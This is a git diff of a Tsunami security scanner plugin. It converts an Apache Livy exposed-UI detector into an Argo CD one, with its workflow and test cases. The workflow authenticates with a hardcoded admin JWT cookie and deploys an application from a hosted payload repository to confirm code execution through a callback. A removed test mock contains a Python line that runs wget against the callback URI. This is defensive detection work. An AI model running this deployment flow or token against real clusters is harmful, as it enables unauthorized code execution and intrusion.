cleanup_actions: "delete_application" +} - - +# this is long but it may be needed because the docker image needs to be downloaded and started actions: { - name: "sleep_for_callback" - utility: { sleep: { duration_ms: 4000 } } + name: "sleep" + utility: { sleep: { duration_ms: 20000 } } } actions: { name: "check_callback_server_logs" callback_server: { action_type: CHECK } } + +actions: { + name: "delete_application" + http_request: { + method: DELETE + uri: "/api/v1/applications/tsunami-security-scanner-{{ T_UTL_CURRENT_TIMESTAMP_MS }}?cascade=true&propagationPolicy=foreground&appNamespace=argocd" + headers: [ + { name: "Cookie" value: "{{ COOKIE }}" }, + { name: "Content-Type" value: "application/json" } + ] + data: '{}' + } +} + +# Since the curl and nginx docker images are downloaded from the hosted payload, we know it executed + +actions: { + name: "check_payload_executed_reflective" + http_request: { + method: GET + uri: "/api/v1/applications/tsunami-security-scanner-{{ T_UTL_CURRENT_TIMESTAMP_MS }}?appNamespace=argocd" + headers: [ + { name: "Cookie" value: "{{ COOKIE }}" } + ] + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: 'curlimages/curl:7.78.0' }, + conditions: { body {} contains: 'nginx:1.24' }, + conditions: { body {} contains: '133713371337' } + } + } + } +} + + ############# # WORKFLOWS # ############# workflows: { + condition: REQUIRES_CALLBACK_SERVER + variables: [ + { name: "PAYLOAD_PATH" value: "payloads/argo-cd-exposed-ui" }, + { name: "REPO_URL" value: "https://github.com/google/tsunami-security-scanner-plugins" }, + { name: "COOKIE" value: "argocd.token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.TGGTTHuuGpEU8WgobXxkrBtW3NiR3dgw5LR-1DEW3BQ" } + ] actions: [ - "livy_exposed_ui_fingerprint", - "create_batches", - "sleep_for_callback", + "argocd_exposed_ui_fingerprint", + "get_project", + "get_cluster", + "create_application_oob", + "sleep", "check_callback_server_logs" ] +} + +workflows: { + variables: [ + { name: "PAYLOAD_PATH" value: "payloads/argo-cd-exposed-ui" }, + { name: "REPO_URL" value: "https://github.com/google/tsunami-security-scanner-plugins" }, + { name: "COOKIE" value: "argocd.token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.TGGTTHuuGpEU8WgobXxkrBtW3NiR3dgw5LR-1DEW3BQ" } + ] + actions: [ + "argocd_exposed_ui_fingerprint", + "get_project", + "get_cluster", + "create_application_reflective", + "sleep", + "check_payload_executed_reflective" + ] } \ No newline at end of file diff --git a/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI_test.textproto index 732f32f80..628e297b9 100644 --- a/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI_test.textproto +++ b/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI_test.textproto @@ -2,11 +2,11 @@ # proto-message: TemplatedPluginTests config: { - tested_plugin: "ARGOCD_ExposedUI" + tested_plugin: "ArgoCD_ExposedUI" } tests: { - name: "whenVulnerable_returnsVuln" + name: "whenVulnerableOOB_returnsVuln" expect_vulnerability: true mock_callback_server: { @@ -16,86 +16,172 @@ tests: { mock_http_server: { mock_responses: [ { - uri: "/ui" + uri: "/" status: 200 - body_content: 'Livy - Sessions' + body_content: '... Argo CD ...' }, { - uri: "/batches" - status: 201 - body_content: - '{"id":6,"name":null,"owner":null,"proxyUser":null,"state":"running","appId":null,"appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\nstderr: "]}' - condition: { - body_content: '{"file":"{{ T_CBS_URI }}"}' - headers: [ - { - name: "Content-Type", - value: "application/json" - } - ] - } + uri: "/api/v1/projects?fields=items.metadata.name" + status: 200 + body_content: '{"items":[{"metadata":{"name":"default"}}]}' }, { - uri: "/batches/6" + uri: "/api/v1/clusters" status: 200 + body_content: + '{"metadata":{},"items":[{"server":"https://kubernetes.default.svc"' + ',"name":"in-cluster","config":{"tlsClientConfig":{"insecure":false' + '}},"connectionState":{"status":"Unknown","message":"Cluster has no' + ' applications and is not being monitored.","attemptedAt":"2026-11-' + '12T15:00:29Z"},"serverVersion":"1.37.0","info":{"connectionState":' + '{"status":"Unknown","message":"Cluster has no applications and is ' + 'not being monitored.","attemptedAt":"2026-11-12T15:00:29Z"},"serve' + 'rVersion":"1.37.0","cacheInfo":{},"applicationsCount":0},"configHa' + 'sh":734506163208423476}]}' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "{ ... }" } ] } } - tests: { - name: "whenNotApcheLivy_returnsNoVuln" + name: "whenNotVulnerableOOB_returnsNotVuln" expect_vulnerability: false + mock_callback_server: { + enabled: true + has_interaction: false + } mock_http_server: { mock_responses: [ { - uri: "/api/v1/main/usages/all" - status: 400 - body_content: "..." + uri: "/" + status: 200 + body_content: '... Argo CD ...' + }, + { + uri: "/api/v1/projects?fields=items.metadata.name" + status: 200 + body_content: "{ ... \"name\":\"exampleprojectname\", ... }" + }, + { + uri: "/api/v1/clusters" + status: 200 + body_content: "{ ... \"name\":\"exampleclustername\", ... }" + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "{ ... }" } ] } } + tests: { - name: "whenNoCallback_returnsFalse" - expect_vulnerability: false + name: "whenVulnerableReflective_returnsVuln" + expect_vulnerability: true mock_callback_server: { - enabled: true + enabled: false has_interaction: false } + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: '... Argo CD ...' + }, + { + uri: "/api/v1/projects?fields=items.metadata.name" + status: 200 + body_content: '{"items":[{"metadata":{"name":"default"}}]}' + }, + { + uri: "/api/v1/clusters" + status: 200 + body_content: + '{"metadata":{},"items":[{"server":"https://kubernetes.default.svc"' + ',"name":"in-cluster","config":{"tlsClientConfig":{"insecure":false' + '}},"connectionState":{"status":"Unknown","message":"Cluster has no' + ' applications and is not being monitored.","attemptedAt":"2026-11-' + '12T15:00:29Z"},"serverVersion":"1.37.0","info":{"connectionState":' + '{"status":"Unknown","message":"Cluster has no applications and is ' + 'not being monitored.","attemptedAt":"2026-11-12T15:00:29Z"},"serve' + 'rVersion":"1.37.0","cacheInfo":{},"applicationsCount":0},"configHa' + 'sh":734506163208423476}]}' + }, + { + uri: "/api/v1/applications/tsunami-security-scanner-{{ T_UTL_CURRENT_TIMESTAMP_MS }}?appNamespace=argocd" + status: 200 + body_content: + '... 133713371337 ...' + '"images": [' + '"curlimages/curl:7.78.0",' + '"nginx:1.24"' + '] ...' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "{ ... }" + } + ] + } +} +tests: { + name: "whenNotVulnerableReflective_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: false + has_interaction: false + } mock_http_server: { mock_responses: [ { - uri: "/ui" + uri: "/" status: 200 - body_content: 'Livy - Sessions' + body_content: '... Argo CD ...' }, { - uri: "/batches" - status: 201 - body_content: - '{"id":6,"name":null,"owner":null,"proxyUser":null,"state":"running","appId":null,"appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\nstderr: "]}' - condition: { - body_content: '{"file":"{{ T_CBS_URI }}"}' - headers: [ - { - name: "Content-Type", - value: "application/json" - } - ] - } + uri: "/api/v1/projects?fields=items.metadata.name" + status: 200 + body_content: "{ ... \"name\":\"exampleprojectname\", ... }" }, { - uri: "/batches/6" + uri: "/api/v1/clusters" status: 200 - body_content: - '{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}' + body_content: "{ ... \"name\":\"exampleclustername\", ... }" + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "{ ... }" + } + ] + } +} + + +tests: { + name: "whenRandomServer_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: " ... " } ] } -} \ No newline at end of file +}